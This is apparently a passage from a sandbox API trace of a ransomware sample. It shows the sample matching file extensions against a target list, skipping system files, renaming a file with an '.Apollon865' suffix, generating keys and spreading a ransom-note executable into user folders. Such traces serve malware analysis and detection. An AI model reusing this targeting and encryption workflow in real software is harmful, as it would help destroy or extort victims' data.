	[0086.994] lstrlenW (lpString="vbox") returned 4
	[0086.994] lstrcmpiW (lpString1="h-ms", lpString2="vbox") returned -1
	[0086.994] lstrlenW (lpString="vdi") returned 3
	[0086.994] lstrcmpiW (lpString1="-ms", lpString2="vdi") returned -1
	[0086.994] lstrlenW (lpString="vhd") returned 3
	[0086.994] lstrcmpiW (lpString1="-ms", lpString2="vhd") returned -1
	[0086.994] lstrlenW (lpString="vhdx") returned 4
	[0086.994] lstrcmpiW (lpString1="h-ms", lpString2="vhdx") returned -1
	[0086.994] lstrlenW (lpString="avhd") returned 4
	[0086.994] lstrcmpiW (lpString1="h-ms", lpString2="avhd") returned 1
	[0086.994] lstrlenW (lpString="db") returned 2
	[0086.994] lstrcmpiW (lpString1="ms", lpString2="db") returned 1
	[0086.994] lstrlenW (lpString="db2") returned 3
	[0086.994] lstrcmpiW (lpString1="-ms", lpString2="db2") returned 1
	[0086.994] lstrlenW (lpString="db3") returned 3
	[0086.994] lstrcmpiW (lpString1="-ms", lpString2="db3") returned 1
	[0086.995] lstrlenW (lpString="dbf") returned 3
	[0086.995] lstrcmpiW (lpString1="-ms", lpString2="dbf") returned 1
	[0086.995] lstrlenW (lpString="mdf") returned 3
	[0086.995] lstrcmpiW (lpString1="-ms", lpString2="mdf") returned 1
	[0086.995] lstrlenW (lpString="mdb") returned 3
	[0086.995] lstrcmpiW (lpString1="-ms", lpString2="mdb") returned 1
	[0086.995] lstrlenW (lpString="sql") returned 3
	[0086.995] lstrcmpiW (lpString1="-ms", lpString2="sql") returned -1
	[0086.995] lstrlenW (lpString="sqlite") returned 6
	[0086.995] lstrcmpiW (lpString1="rch-ms", lpString2="sqlite") returned -1
	[0086.995] lstrlenW (lpString="sqlite3") returned 7
	[0086.995] lstrcmpiW (lpString1="arch-ms", lpString2="sqlite3") returned -1
	[0086.995] lstrlenW (lpString="sqlitedb") returned 8
	[0086.995] lstrcmpiW (lpString1="earch-ms", lpString2="sqlitedb") returned -1
	[0086.995] lstrlenW (lpString="xml") returned 3
	[0086.995] lstrcmpiW (lpString1="-ms", lpString2="xml") returned -1
	[0086.995] lstrlenW (lpString="$er") returned 3
	[0086.995] lstrcmpiW (lpString1="-ms", lpString2="$er") returned 1
	[0086.995] lstrlenW (lpString="4dd") returned 3
	[0086.995] lstrcmpiW (lpString1="-ms", lpString2="4dd") returned 1
	[0086.995] lstrlenW (lpString="4dl") returned 3
	[0086.995] lstrcmpiW (lpString1="-ms", lpString2="4dl") returned 1
	[0086.995] lstrlenW (lpString="^^^") returned 3
	[0086.995] lstrcmpiW (lpString1="-ms", lpString2="^^^") returned 1
	[0086.995] lstrlenW (lpString="abs") returned 3
	[0086.995] lstrcmpiW (lpString1="-ms", lpString2="abs") returned 1
	[0086.995] lstrlenW (lpString="abx") returned 3
	[0086.995] lstrcmpiW (lpString1="-ms", lpString2="abx") returned 1
	[0086.995] lstrlenW (lpString="accdb") returned 5
	[0086.995] lstrcmpiW (lpString1="ch-ms", lpString2="accdb") returned 1
	[0086.995] lstrlenW (lpString="accdc") returned 5
	[0086.995] lstrcmpiW (lpString1="ch-ms", lpString2="accdc") returned 1
	[0086.995] lstrlenW (lpString="accde") returned 5
	[0086.996] lstrcmpiW (lpString1="ch-ms", lpString2="accde") returned 1
	[0086.996] lstrlenW (lpString="accdr") returned 5
	[0086.996] lstrcmpiW (lpString1="ch-ms", lpString2="accdr") returned 1
	[0086.996] lstrlenW (lpString="accdt") returned 5
	[0086.996] lstrcmpiW (lpString1="ch-ms", lpString2="accdt") returned 1
	[0086.996] lstrlenW (lpString="accdw") returned 5
	[0086.996] lstrcmpiW (lpString1="ch-ms", lpString2="accdw") returned 1
	[0086.996] lstrlenW (lpString="accft") returned 5
	[0086.996] lstrcmpiW (lpString1="ch-ms", lpString2="accft") returned 1
	[0086.996] lstrlenW (lpString="adb") returned 3
	[0086.996] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1
	[0086.996] lstrlenW (lpString="adb") returned 3
	[0086.996] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1
	[0086.996] lstrlenW (lpString="ade") returned 3
	[0086.996] lstrcmpiW (lpString1="-ms", lpString2="ade") returned 1
	[0086.996] lstrlenW (lpString="adf") returned 3
	[0086.996] lstrcmpiW (lpString1="-ms", lpString2="adf") returned 1
	[0086.996] lstrlenW (lpString="adn") returned 3
	[0086.996] lstrcmpiW (lpString1="-ms", lpString2="adn") returned 1
	[0086.996] lstrlenW (lpString="adp") returned 3
	[0086.996] lstrcmpiW (lpString1="-ms", lpString2="adp") returned 1
	[0086.996] lstrlenW (lpString="alf") returned 3
	[0086.996] lstrcmpiW (lpString1="-ms", lpString2="alf") returned 1
	[0086.996] lstrlenW (lpString="ask") returned 3
	[0086.996] lstrcmpiW (lpString1="-ms", lpString2="ask") returned 1
	[0086.996] lstrlenW (lpString="btr") returned 3
	[0086.996] lstrcmpiW (lpString1="-ms", lpString2="btr") returned 1
	[0086.996] lstrlenW (lpString="cat") returned 3
	[0086.996] lstrcmpiW (lpString1="-ms", lpString2="cat") returned 1
	[0086.996] lstrlenW (lpString="cdb") returned 3
	[0086.996] lstrcmpiW (lpString1="-ms", lpString2="cdb") returned 1
	[0086.996] lstrlenW (lpString="ckp") returned 3
	[0086.996] lstrcmpiW (lpString1="-ms", lpString2="ckp") returned 1
	[0086.996] lstrlenW (lpString="cma") returned 3
	[0086.997] lstrcmpiW (lpString1="-ms", lpString2="cma") returned 1
	[0086.997] lstrlenW (lpString="cpd") returned 3
	[0086.997] lstrcmpiW (lpString1="-ms", lpString2="cpd") returned 1
	[0086.997] lstrlenW (lpString="dacpac") returned 6
	[0086.997] lstrcmpiW (lpString1="rch-ms", lpString2="dacpac") returned 1
	[0086.997] lstrlenW (lpString="dad") returned 3
	[0086.997] lstrcmpiW (lpString1="-ms", lpString2="dad") returned 1
	[0086.997] lstrlenW (lpString="dadiagrams") returned 10
	[0086.997] lstrcmpiW (lpString1=".search-ms", lpString2="dadiagrams") returned -1
	[0086.997] lstrlenW (lpString="daschema") returned 8
	[0086.997] lstrcmpiW (lpString1="earch-ms", lpString2="daschema") returned 1
	[0086.997] lstrlenW (lpString="db-journal") returned 10
	[0086.997] lstrcmpiW (lpString1=".search-ms", lpString2="db-journal") returned -1
	[0086.997] lstrlenW (lpString="db-shm") returned 6
	[0086.997] lstrcmpiW (lpString1="rch-ms", lpString2="db-shm") returned 1
	[0086.997] lstrlenW (lpString="db-wal") returned 6
	[0086.997] lstrcmpiW (lpString1="rch-ms", lpString2="db-wal") returned 1
	[0086.997] lstrlenW (lpString="dbc") returned 3
	[0086.997] lstrcmpiW (lpString1="-ms", lpString2="dbc") returned 1
	[0086.997] lstrlenW (lpString="dbs") returned 3
	[0086.997] lstrcmpiW (lpString1="-ms", lpString2="dbs") returned 1
	[0086.997] lstrlenW (lpString="dbt") returned 3
	[0086.997] lstrcmpiW (lpString1="-ms", lpString2="dbt") returned 1
	[0086.997] lstrlenW (lpString="dbv") returned 3
	[0086.997] lstrcmpiW (lpString1="-ms", lpString2="dbv") returned 1
	[0086.997] lstrlenW (lpString="dbx") returned 3
	[0086.997] lstrcmpiW (lpString1="-ms", lpString2="dbx") returned 1
	[0086.997] lstrlenW (lpString="dcb") returned 3
	[0086.997] lstrcmpiW (lpString1="-ms", lpString2="dcb") returned 1
	[0086.998] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms.Apollon865") returned 77
	[0086.998] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\indexed locations.search-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\indexed locations.search-ms.apollon865"), dwFlags=0x1) returned 1
	[0087.003] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\indexed locations.search-ms.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.003] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=248) returned 1
	[0087.003] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.003] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.003] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0087.003] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.004] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.004] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.005] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x400, lpName=0x0) returned 0x15c
	[0087.007] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x400) returned 0x100000
	[0087.008] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.008] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.008] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.008] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.008] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.008] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.009] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.009] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0087.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0087.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.009] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0087.009] CloseHandle (hObject=0x15c) returned 1
	[0087.009] CloseHandle (hObject=0x9c) returned 1
	[0087.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0087.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.009] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0
	[0087.009] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0087.010] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b90
	[0087.010] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games"
	[0087.010] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598468 | out: hHeap=0x580000) returned 1
	[0087.010] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0087.010] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games") returned 41
	[0087.010] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games"
	[0087.010] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0087.010] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0087.011] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0087.011] GetLastError () returned 0x0
	[0087.011] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0087.011] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0087.011] CloseHandle (hObject=0x10c) returned 1
	[0087.011] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0087.011] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0087.012] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30245a70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30245a70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0087.012] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.012] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0087.012] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0087.012] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30245a70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30245a70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.012] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.012] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0087.012] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0087.012] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0087.012] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0087.012] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.012] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0087.012] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0087.012] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0087.012] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0087.012] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0087.012] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0087.012] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0087.012] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0087.012] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0087.012] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0087.013] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0087.013] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0087.013] lstrlenW (lpString="desktop.ini") returned 11
	[0087.013] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*") returned 43
	[0087.013] lstrcpyW (in: lpString1=0x119e65c, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0087.013] lstrlenW (lpString="desktop.ini") returned 11
	[0087.013] lstrlenW (lpString="Apollon865") returned 10
	[0087.013] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0087.013] lstrlenW (lpString=".dll") returned 4
	[0087.013] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0087.013] lstrlenW (lpString=".lnk") returned 4
	[0087.013] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0087.013] lstrlenW (lpString=".ini") returned 4
	[0087.013] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0087.013] lstrlenW (lpString=".sys") returned 4
	[0087.013] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0087.013] lstrlenW (lpString="desktop.ini") returned 11
	[0087.013] lstrlenW (lpString="bak") returned 3
	[0087.013] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0087.013] lstrlenW (lpString="ba_") returned 3
	[0087.013] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0087.013] lstrlenW (lpString="dbb") returned 3
	[0087.013] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0087.013] lstrlenW (lpString="vmdk") returned 4
	[0087.013] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0087.013] lstrlenW (lpString="rar") returned 3
	[0087.013] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0087.013] lstrlenW (lpString="zip") returned 3
	[0087.013] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0087.013] lstrlenW (lpString="tgz") returned 3
	[0087.013] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0087.013] lstrlenW (lpString="vbox") returned 4
	[0087.013] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0087.013] lstrlenW (lpString="vdi") returned 3
	[0087.014] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0087.014] lstrlenW (lpString="vhd") returned 3
	[0087.014] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0087.014] lstrlenW (lpString="vhdx") returned 4
	[0087.014] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0087.014] lstrlenW (lpString="avhd") returned 4
	[0087.014] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0087.014] lstrlenW (lpString="db") returned 2
	[0087.014] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0087.014] lstrlenW (lpString="db2") returned 3
	[0087.014] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0087.014] lstrlenW (lpString="db3") returned 3
	[0087.014] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0087.014] lstrlenW (lpString="dbf") returned 3
	[0087.014] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0087.014] lstrlenW (lpString="mdf") returned 3
	[0087.014] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0087.014] lstrlenW (lpString="mdb") returned 3
	[0087.014] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0087.014] lstrlenW (lpString="sql") returned 3
	[0087.014] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0087.014] lstrlenW (lpString="sqlite") returned 6
	[0087.014] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0087.014] lstrlenW (lpString="sqlite3") returned 7
	[0087.014] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0087.014] lstrlenW (lpString="sqlitedb") returned 8
	[0087.014] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0087.014] lstrlenW (lpString="xml") returned 3
	[0087.014] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0087.014] lstrlenW (lpString="$er") returned 3
	[0087.014] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0087.014] lstrlenW (lpString="4dd") returned 3
	[0087.014] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0087.014] lstrlenW (lpString="4dl") returned 3
	[0087.015] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0087.015] lstrlenW (lpString="^^^") returned 3
	[0087.015] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0087.015] lstrlenW (lpString="abs") returned 3
	[0087.015] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0087.015] lstrlenW (lpString="abx") returned 3
	[0087.015] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0087.015] lstrlenW (lpString="accdb") returned 5
	[0087.015] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0087.015] lstrlenW (lpString="accdc") returned 5
	[0087.015] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0087.015] lstrlenW (lpString="accde") returned 5
	[0087.015] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0087.015] lstrlenW (lpString="accdr") returned 5
	[0087.015] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0087.015] lstrlenW (lpString="accdt") returned 5
	[0087.015] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0087.015] lstrlenW (lpString="accdw") returned 5
	[0087.015] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0087.015] lstrlenW (lpString="accft") returned 5
	[0087.015] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0087.015] lstrlenW (lpString="adb") returned 3
	[0087.015] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0087.015] lstrlenW (lpString="adb") returned 3
	[0087.015] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0087.015] lstrlenW (lpString="ade") returned 3
	[0087.015] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0087.015] lstrlenW (lpString="adf") returned 3
	[0087.015] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0087.015] lstrlenW (lpString="adn") returned 3
	[0087.015] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0087.015] lstrlenW (lpString="adp") returned 3
	[0087.015] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0087.015] lstrlenW (lpString="alf") returned 3
	[0087.015] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0087.016] lstrlenW (lpString="ask") returned 3
	[0087.016] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0087.016] lstrlenW (lpString="btr") returned 3
	[0087.016] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0087.016] lstrlenW (lpString="cat") returned 3
	[0087.016] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0087.016] lstrlenW (lpString="cdb") returned 3
	[0087.016] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0087.016] lstrlenW (lpString="ckp") returned 3
	[0087.016] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0087.016] lstrlenW (lpString="cma") returned 3
	[0087.016] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0087.016] lstrlenW (lpString="cpd") returned 3
	[0087.016] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0087.016] lstrlenW (lpString="dacpac") returned 6
	[0087.016] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0087.016] lstrlenW (lpString="dad") returned 3
	[0087.016] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0087.016] lstrlenW (lpString="dadiagrams") returned 10
	[0087.016] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0087.016] lstrlenW (lpString="daschema") returned 8
	[0087.016] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0087.016] lstrlenW (lpString="db-journal") returned 10
	[0087.016] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0087.016] lstrlenW (lpString="db-shm") returned 6
	[0087.016] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0087.016] lstrlenW (lpString="db-wal") returned 6
	[0087.016] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0087.016] lstrlenW (lpString="dbc") returned 3
	[0087.016] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0087.016] lstrlenW (lpString="dbs") returned 3
	[0087.016] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0087.016] lstrlenW (lpString="dbt") returned 3
	[0087.016] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0087.017] lstrlenW (lpString="dbv") returned 3
	[0087.017] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0087.017] lstrlenW (lpString="dbx") returned 3
	[0087.017] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0087.017] lstrlenW (lpString="dcb") returned 3
	[0087.017] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0087.017] lstrlenW (lpString="dct") returned 3
	[0087.017] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0087.017] lstrlenW (lpString="dcx") returned 3
	[0087.017] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0087.017] lstrlenW (lpString="ddl") returned 3
	[0087.017] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0087.017] lstrlenW (lpString="dlis") returned 4
	[0087.017] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0087.017] lstrlenW (lpString="dp1") returned 3
	[0087.017] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0087.017] lstrlenW (lpString="dqy") returned 3
	[0087.017] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0087.017] lstrlenW (lpString="dsk") returned 3
	[0087.017] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0087.017] lstrlenW (lpString="dsn") returned 3
	[0087.017] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0087.017] lstrlenW (lpString="dtsx") returned 4
	[0087.017] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0087.017] lstrlenW (lpString="dxl") returned 3
